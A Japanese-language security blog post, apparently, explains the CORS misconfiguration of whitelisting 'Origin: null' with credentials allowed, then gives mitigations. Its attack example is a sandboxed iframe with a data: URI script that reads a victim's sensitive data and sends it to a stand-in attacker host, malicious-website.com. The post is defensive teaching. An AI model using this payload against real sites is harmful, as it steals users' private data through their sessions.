Hello there, ('ω')ノ
🎯 目的
今回は、CORS (Cross-Origin Resource Sharing) において Origin: null
がホワイトリストに登録されている場合に発生する脆弱性について解説します。特に、開発環境などで便利に思える設定が、本番環境で深刻なセキュリティ問題を引き起こすリスクを紹介します。
🧪 Origin: null とは?
Origin: null
は、以下のようなケースでブラウザが送信する可能性があります:
- クロスオリジンリダイレクト
file://
プロトコルからのリクエストdata:
URI からのリクエストsandbox
属性付きiframe
からのリクエスト
GET /sensitive-victim-data Host: vulnerable-website.com Origin: null
これに対して、サーバーが以下のように応答すると…
HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
…任意のnull
オリジンからのクロスオリジンリクエストが許可されてしまいます。
☠️ 攻撃例
攻撃者が data:
URI と sandbox
属性付きの iframe
を使って null
オリジンのリクエストを生成:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script> var req = new XMLHttpRequest(); req.onload = function() { location='https://malicious-website.com/log?key='+this.responseText; }; req.open('GET','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); </script>"></iframe>
これにより、ユーザーのセッションを用いた機密情報の取得が可能になります。
🔧 開発と本番での注意点
🧪 開発環境でよくある設定ミス
- ローカルのHTMLファイル(file://)や
data:
URIを用いた開発で便利なため、Origin: null
を許可してしまう
🛑 本番環境での影響
- 攻撃者が
null
オリジンを利用して、クロスサイトAPIアクセスが可能 - セッション付きでの機密データ読み取り → アカウント乗っ取りや情報漏洩
✅ 対策
Origin: null
をホワイトリストに含めない- 開発用CORSポリシーと本番用CORSポリシーを明確に分離
sandbox
属性付きiframe、data:
URI、file://
プロトコルからのリクエストは拒否を推奨Access-Control-Allow-Credentials: true
を使う際はAccess-Control-Allow-Origin
にnull
や*
を使用しない
✅ まとめ
誤設定 | リスク |
---|---|
Access-Control-Allow-Origin: null |
攻撃者が任意のブラウザでクロスサイトアクセス可能 |
本番と開発の設定共有 | 開発時の緩いポリシーが本番でも有効になる |
CORSの設定は一見地味ですが、極めて重大な脆弱性を引き起こす可能性があるため、本番環境では厳格なポリシーを徹底しましょう。
Best regards, (^^ゞ